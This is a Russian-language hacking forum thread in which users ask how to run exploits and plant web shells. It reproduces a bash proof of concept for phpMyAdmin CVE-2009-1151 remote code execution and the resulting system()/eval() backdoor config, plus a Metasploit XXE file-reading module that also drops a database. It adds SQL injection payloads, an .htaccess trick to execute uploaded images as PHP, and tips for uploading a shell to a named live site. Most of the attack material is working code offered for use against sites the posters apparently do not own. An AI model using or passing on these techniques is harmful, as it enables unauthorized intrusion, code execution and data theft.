Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. WendM

    WendM Member

    Joined:
    29 Jan 2012
    Messages:
    44
    Likes Received:
    7
    Reputations:
    3
    Подскажите что за эксплоит\уязвимость рассматривается в этом видео _http://www.youtube.com/watch?v=-t5xWuCYhlw
    Спасибо!
     
  2. Ravenous

    Ravenous Elder - Старейшина

    Joined:
    14 Jul 2012
    Messages:
    116
    Likes Received:
    29
    Reputations:
    26
    CVE-2009-1151 phpMyAdmin 'setup.php' PHP Code Injection Vulnerability
    http://forum.antichat.ru/showpost.php?p=1330014&postcount=13
     
    #20862 Ravenous, 30 Jul 2012
    Last edited: 30 Jul 2012
  3. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Ты как шелл заливаешь: через форму аплоада, через выполнение кода?
    Если есть возможность выполнить код, то можно попробовать сделать коннект или бек через nc и посмотреть что там немудрено.
     
  4. WendM

    WendM Member

    Joined:
    29 Jan 2012
    Messages:
    44
    Likes Received:
    7
    Reputations:
    3
    Добрый день. Разъясните пожалуйста по поводу вот этого эксплоита
    PHP:
    <?php
    /*
     * Generated configuration file
     * Generated by: phpMyAdmin 3.0.1.1 setup script by Michal Čihař <[email protected]>
     * Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
     * Date: Tue, 09 Jun 2009 14:13:34 GMT
     */

    /* Servers configuration */
    $i 0;

    /* Server  (config:root) [1] */
    $i++;
    $cfg['Servers'][$i]['host']=''; if($_GET['c']){echo
    '<pre>';system($_GET['c']);echo '</pre>';}if($_GET['p']){echo
    '<pre>';eval($_GET['p']);echo '</pre>';};//'] = 'localhost';
    $cfg['Servers'][$i]['extension'] = 'mysqli';
    $cfg['Servers'][$i]['connect_type'] = 'tcp';
    $cfg['Servers'][$i]['compress'] = false;
    $cfg['Servers'][$i]['auth_type'] = 'config';
    $cfg['Servers'][$i]['user'] = 'root';

    /* End of servers configuration */

    ?>
    Где в данном коде нужно указать ссылку на уязвимый phpmyadmin?

    И еще, чем запускать данный эксплоит?
    PHP:
    #!/bin/bash

    # CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11
    # by pagvac (gnucitizen.org), 4th June 2009.
    # special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln, 
    # and to str0ke (milw0rm.com) for testing this PoC script and providing feedback!

    # PoC script successfully tested on the following targets:
    # phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
    # Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

    # attack requirements:
    # 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
    # and 3.x before 3.1.3.1 according to PMASA-2009-3
    # 2) it *seems* this vuln can only be exploited against environments
    # where the administrator has chosen to install phpMyAdmin following
    # the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
    # 3) administrator must have NOT deleted the '/config/' directory
    # within the '/phpMyAdmin/' directory. this is because this directory is
    # where '/scripts/setup.php' tries to create 'config.inc.php' which is where
    # our evil PHP code is injected 8)

    # more info on:
    # http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
    # http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

    if [[ $# -ne 1 ]]
    then
        
    echo "usage: ./$(basename $0) <phpMyAdmin_base_URL>"
        
    echo "i.e.: ./$(basename $0) http://target.tld/phpMyAdmin/"
        
    exit
    fi

    if ! which curl >/dev/null
    then
        
    echo "sorry but you need curl for this script to work!"
               
    echo "on Debian/Ubuntu: sudo apt-get install curl"
               
    exit
    fi


    function exploit {

    postdata="token=$1&action=save&configuration="\
    "a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22h  ost%27]="\
    "%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\
    "%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22conne  ct_type%22%3bs:3:"\
    "%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth  _type%22%3bs:6:"\
    "%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}  }}&eoltype=unix"

    postdata2="token=$1&action=save&configuration=a:1:"\
    "{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host  %27%5d="\
    "%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cp  re%3e%27%3b"\
    "system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\
    "if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3be  val"\
    "(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\
    "%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3b  s:6:%22"\
    "mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%2  2%3bs:8:"\
    "%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%  22config"\
    "%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"

        
    flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html"
        
        
    echo "[+] attempting to inject phpinfo() ..."
        
    curl -ks -$-"$postdata--url "$3/scripts/setup.php" >/dev/null

        
    if curl -ks --url "$3/config/config.inc.php" grep "phpinfo()" >/dev/null
        then
            curl 
    -ks --url "$3/config/config.inc.php" >$flag    
            
    echo "[+] success! phpinfo() injected successfully! output saved on $flag"
            
    curl -ks -$-d $postdata2 --url "$3/scripts/setup.php" >/dev/null
            
    echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"
            
    echo "    $3/config/config.inc.php?c=ls+-l+/"
            
    echo "    $3/config/config.inc.php?p=phpinfo();"
            
    echo "    please send any feedback/improvements for this script to"\
            
    "unknown.pentester<AT_sign__here>gmail.com"
        
    else
            echo 
    "[+] no luck injecting to $3/config/config.inc.php :("
            
    exit
        
    fi
    }
    # end of exploit function

    cookiejar="/tmp/$(basename $0).$RANDOM.txt"
    token=`curl -ks -c $cookiejar --url "$1/scripts/setup.php" | grep \"token\" | head -n 1 | cut -d \" -f 12`
    echo 
    "[+] checking if phpMyAdmin exists on URL provided ..."

    #if grep phpMyAdmin $cookiejar 2>/dev/null > /dev/null
    if grep phpMyAdmin $cookiejar &>/dev/null
    then
        length
    =`echo -n $token | wc -c`

        
    # valid form token obtained?
        
    if [[ $length -eq 32 ]]
        
    then
            
    echo "[+] phpMyAdmin cookie and form token received successfully. Good!"
            
    # attempt exploit!
            
    exploit $token $cookiejar $1
        
    else
            echo 
    "[+] could not grab form token. you might want to try exploiting the vuln manually :("
            
    exit
        
    fi
    else
        echo 
    "[+] phpMyAdmin NOT found! phpMyAdmin base URL incorrectly typed? wrong case-sensitivity?"
        
    exit
    fi

    # milw0rm.com [2009-06-09]
    С нетерпением жду ответа! Спасибо!
     
  5. Ravenous

    Ravenous Elder - Старейшина

    Joined:
    14 Jul 2012
    Messages:
    116
    Likes Received:
    29
    Reputations:
    26
    Для исполнения, права 755 должны быть у 'cgi' скриптов (Perl, etc), а для PHP скриптов достаточно только чтения в т.ч. 644.
    Пробовал такой .htaccess?
    Code:
    php_flag engine on
    AddType application/x-httpd-php .jpg
    
    Данный эксплоит нужно запускать из командной строки Linux, *nix т.к. написан на Bash.
    Перейдя по этой ссылке можно увидеть пример запуска.
     
    #20865 Ravenous, 31 Jul 2012
    Last edited: 31 Jul 2012
    2 people like this.
  6. Gaben7

    Gaben7 Member

    Joined:
    8 Jan 2012
    Messages:
    129
    Likes Received:
    9
    Reputations:
    6
    Добрый день. Возникла такая ситуация.
    http://site.ru/homepage.php?page=4&userid=1
    начал пробовать вот так
    /homepage.php?page=4&userid=1'+order+by+10/*
    /homepage.php?page=4&userid=1' GROUP BY 10 --
    Что я не так делаю?
     
  7. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    не ставишь в конце пробел или он вырезается.
    Д и крутить тут наверное ток как error-based, хотя может и выведет инфу по первому запросу.
     
    1 person likes this.
  8. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Попробуй вот так:

    Code:
    /homepage.php?page=4&userid=1' union select 1,2,3,4,5 and 1='1
    (подбирай кол-во полей в union практическим путём 
    или так

    Code:
    /homepage.php?page=4&userid=1' or @:=(@:=1)||@ group by concat((select @@version),!@)having@||min(@:=0) and 1='1
     
    _________________________
    1 person likes this.
  9. WendM

    WendM Member

    Joined:
    29 Jan 2012
    Messages:
    44
    Likes Received:
    7
    Reputations:
    3
    Добрый день. Возник вопрос по этому эксплоиту
    phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection
    PHP:
    require 'msf/core'
     
    class Metasploit3 < Msf::Auxiliary
     
        include Msf::Exploit::Remote::HttpClient
     
        def initialize
            super(
                'Name'        => 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection',
                'Version'     => '1.0',
                'Description' => %q{Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server).
                The attacker must be logged in to MySQL via phpMyAdmin.
                Works on Windows and Linux Versions 3.3.X and 3.4.X},
                'References'  =>
                    [
                        [ 'CVE', '2011-4107' ],
                                            [ 'OSVDB', '76798' ],
                                            [ 'BID', '50497' ],
                                            [ 'URL', 'http://secforce.com/research/'],
                    ],
                'Author'      => [ 'Marco Batista' ],
                'License'     => MSF_LICENSE
                )
     
            register_options(
                [
                    Opt::RPORT(80),
                    OptString.new('FILE', [ true,  "File to read", '/etc/passwd']),
                    OptString.new('USER', [ true,  "Username", 'root']),
                    OptString.new('PASS', [ false,  "Password", 'password']),
                    OptString.new('DB', [ true,  "Database to use/create", 'hddaccess']),
                    OptString.new('TBL', [ true,  "Table to use/create and read the file to", 'files']),
                    OptString.new('APP', [ true,  "Location for phpMyAdmin URL", '/phpmyadmin']),
                    OptString.new('DROP', [ true,  "Drop database after reading file?", 'true']),
                ],self.class)
        end
     
        def loginprocess
            # HTTP GET TO GET SESSION VALUES
            getresponse = send_request_cgi({
                'uri'     => datastore['APP']+'/index.php',
                'method'  => 'GET',
                'version' => '1.1',
                }, 25)
     
            if (getresponse.nil?)
                print_error("no response for #{ip}:#{rport}")
            elsif (getresponse.code == 200)
                print_status("Received #{getresponse.code} from #{rhost}:#{rport}")
            elsif (getresponse and getresponse.code == 302 or getresponse.code == 301)
                print_status("Received 302 to #{getresponse.headers['Location']}")
            else
                print_error("Received #{getresponse.code} from #{rhost}:#{rport}")
            end
     
            valuesget = getresponse.headers["Set-Cookie"]
            varsget = valuesget.split(" ")
     
            #GETTING THE VARIABLES NEEDED
            phpMyAdmin = varsget.grep(/phpMyAdmin/).last
            pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last
            # END HTTP GET
     
            # LOGIN POST REQUEST TO GET COOKIE VALUE
            postresponse = send_request_cgi({
                'uri'     => datastore['APP']+'/index.php',
                'method'  => 'POST',
                'version' => '1.1',
                'headers' =>{
                        'Content-Type' => 'application/x-www-form-urlencoded',
                        'Cookie' => "#{pma_mcrypt_iv} #{phpMyAdmin}"
                                },
                'data'    => 'pma_username='+datastore['USER']+'&pma_password='+datastore['PASS']+'&server=1'
                }, 25)     
     
            if (postresponse["Location"].nil?)
                print_status("TESTING#{postresponse.body.split("'").grep(/token/).first.split("=").last}")
                tokenvalue = postresponse.body.split("'").grep(/token/).first.split("=").last          
            else
                tokenvalue = postresponse["Location"].split("&").grep(/token/).last.split("=").last
            end
             
             
            valuespost = postresponse.headers["Set-Cookie"]
            varspost = valuespost.split(" ")
             
            #GETTING THE VARIABLES NEEDED
            pmaUser = varspost.grep(/pmaUser-1/).last
            pmaPass = varspost.grep(/pmaPass-1/).last
     
            return "#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}",tokenvalue
            # END OF LOGIN POST REQUEST
            rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e
                print_error(e.message)
            rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e
                print_error(e.message)
        end
     
        def readfile(cookie,tokenvalue)
            #READFILE TROUGH EXPORT FUNCTION IN PHPMYADMIN
            getfiles = send_request_cgi({
                'uri'     => datastore['APP']+'/export.php',
                'method'  => 'POST',
                'version' => '1.1',
                'headers' =>{
                        'Cookie' => cookie
                            },
                'data'    => 'db='+datastore['DB']+'&table='+datastore['TBL']+'&token='+tokenvalue+'&single_table=TRUE&export_type=table&sql_query=SELECT+*+FROM+%60files%60&what=texytext&texytext_structure=something&texytext_data=something&texytext_null=NULL&asfile=sendit&allrows=1&codegen_structure_or_data=data&texytext_structure_or_data=structure_and_data&yaml_structure_or_data=data'
                }, 25)
             
            if (getfiles.body.split("\n").grep(/== Dumping data for table/).empty?)
                print_error("Error reading the file... not enough privilege? login error?")        
            else
                print_status("#{getfiles.body}")
            end
        end
     
     
        def dropdatabase(cookie,tokenvalue)
            dropdb = send_request_cgi({
                'uri'     => datastore['APP']+'/sql.php?sql_query=DROP+DATABASE+%60'+datastore['DB']+'%60&back=db_operations.php&goto=main.php&purge=1&token='+tokenvalue+'&is_js_confirmed=1&ajax_request=false',
                'method'  => 'GET',
                'version' => '1.1',
                'headers' =>{
                        'Cookie' => cookie
                            },
                }, 25)
     
                print_status("Dropping database: "+datastore['DB'])
        end
     
        def run
            cookie,tokenvalue = loginprocess()
         
            print_status("Login at #{datastore['RHOST']}:#{datastore['RPORT']}#{datastore['APP']} using #{datastore['USER']}:#{datastore['PASS']}")
         
            craftedXML =  "------WebKitFormBoundary3XPL01T\n"
            craftedXML << "Content-Disposition: form-data; name=\"token\"\n\n"
            craftedXML << tokenvalue+"\n"
            craftedXML << "------WebKitFormBoundary3XPL01T\n"
            craftedXML << "Content-Disposition: form-data; name=\"import_type\"\n\n"
            craftedXML << "server\n"
            craftedXML << "------WebKitFormBoundary3XPL01T\n"
            craftedXML << "Content-Disposition: form-data; name=\"import_file\"; filename=\"exploit.xml\"\n"
            craftedXML << "Content-Type: text/xml\n\n"
            craftedXML << "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
            craftedXML << "<!DOCTYPE ficheiro [  \n"
            craftedXML << "  <!ENTITY conteudo SYSTEM \"file:///#{datastore['FILE']}\" >]>\n"
            craftedXML << "<pma_xml_export version=\"1.0\" xmlns:pma=\"http://www.phpmyadmin.net/some_doc_url/\">\n"
            craftedXML << "    <pma:structure_schemas>\n"
            craftedXML << "        <pma:database name=\""+datastore['DB']+"\" collation=\"utf8_general_ci\" charset=\"utf8\">\n"
            craftedXML << "            <pma:table name=\""+datastore['TBL']+"\">\n"
            craftedXML << "                CREATE TABLE `"+datastore['TBL']+"` (`file` varchar(20000) NOT NULL);\n"
            craftedXML << "            </pma:table>\n"
            craftedXML << "        </pma:database>\n"
            craftedXML << "    </pma:structure_schemas>\n"
            craftedXML << "    <database name=\""+datastore['DB']+"\">\n"
            craftedXML << "        <table name=\""+datastore['TBL']+"\">\n"
            craftedXML << "            <column name=\"file\">&conteudo;</column>\n"
            craftedXML << "        </table>\n"
            craftedXML << "    </database>\n"
            craftedXML << "</pma_xml_export>\n\n"
            craftedXML << "------WebKitFormBoundary3XPL01T\n"
            craftedXML << "Content-Disposition: form-data; name=\"format\"\n\n"
            craftedXML << "xml\n"
            craftedXML << "------WebKitFormBoundary3XPL01T\n"
            craftedXML << "Content-Disposition: form-data; name=\"csv_terminated\"\n\n"
            craftedXML << ",\n\n"
            craftedXML << "------WebKitFormBoundary3XPL01T--"
             
         
            print_status("Grabbing that #{datastore['FILE']} you want...")
            res = send_request_cgi({
                'uri'     => datastore['APP']+'/import.php',
                'method'  => 'POST',
                'version' => '1.1',
                'headers' =>{
                        'Content-Type' => 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T',
                        'Cookie' => cookie
                            },
                'data'    => craftedXML
            }, 25)
     
            readfile(cookie,tokenvalue)
     
            if (datastore['DROP'] == "true")
                dropdatabase(cookie,tokenvalue)
            else
                print_status("Database was not dropped: "+datastore['DB'])         
            end
     
        end
    end
    Что бы его использовать надо знать верный пароль и логин от phpmyadmin?
     
  10. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    WendM

    Строки

    Code:
    OptString.new('USER', [ true,  "Username", 'root']), 
    OptString.new('PASS', [ false,  "Password", 'password'])
    как бы намекают на это...
     
    _________________________
  11. WendM

    WendM Member

    Joined:
    29 Jan 2012
    Messages:
    44
    Likes Received:
    7
    Reputations:
    3
    BigBear
    А смысл этого эксплоита тогда?
     
  12. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Само название сплойта как бы намекает. Это LFI, чтение локальных файлов.
     
  13. anon12

    anon12 New Member

    Joined:
    21 Jun 2012
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    На сайте есть доступ к кконсоли Jboss. Через employmentscanner попытался залить jsp шелл, консоль выдала сообщение, что операция прошла успешно, но шелл так и не запустился. Собственно вопрос: как упаковать jsp в .war?
     
  14. CyberKillerz

    CyberKillerz New Member

    Joined:
    19 Jun 2012
    Messages:
    23
    Likes Received:
    0
    Reputations:
    -5
    есть торент тракер на нем небольшой хостинг картинок заливка идет проверяя только расширения пытался залить шел с таким именем webshell.php.jpg потом переходил по ссылке и нечего )) как его открыть?вот ссыль http://tt.homelane.me/gallery.php
     
  15. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Попробуй обойти фильтр путем залива .htaccess
     
  16. CyberKillerz

    CyberKillerz New Member

    Joined:
    19 Jun 2012
    Messages:
    23
    Likes Received:
    0
    Reputations:
    -5
    хмм попробывал залит просто .htacess не получилось только .htacess.png но это не помогло (
     
  17. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    А ты пробовал header'ы менять при загрузке?
     
  18. CyberKillerz

    CyberKillerz New Member

    Joined:
    19 Jun 2012
    Messages:
    23
    Likes Received:
    0
    Reputations:
    -5
    немного не понял немогли бы объяснить.
     
  19. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Допустим Content-type
     
  20. CyberKillerz

    CyberKillerz New Member

    Joined:
    19 Jun 2012
    Messages:
    23
    Likes Received:
    0
    Reputations:
    -5
    а что изменится я вобще можно сказать чистый залил ) да там же только проверяется расширение и регулярными выражениями
     
Thread Status:
Not open for further replies.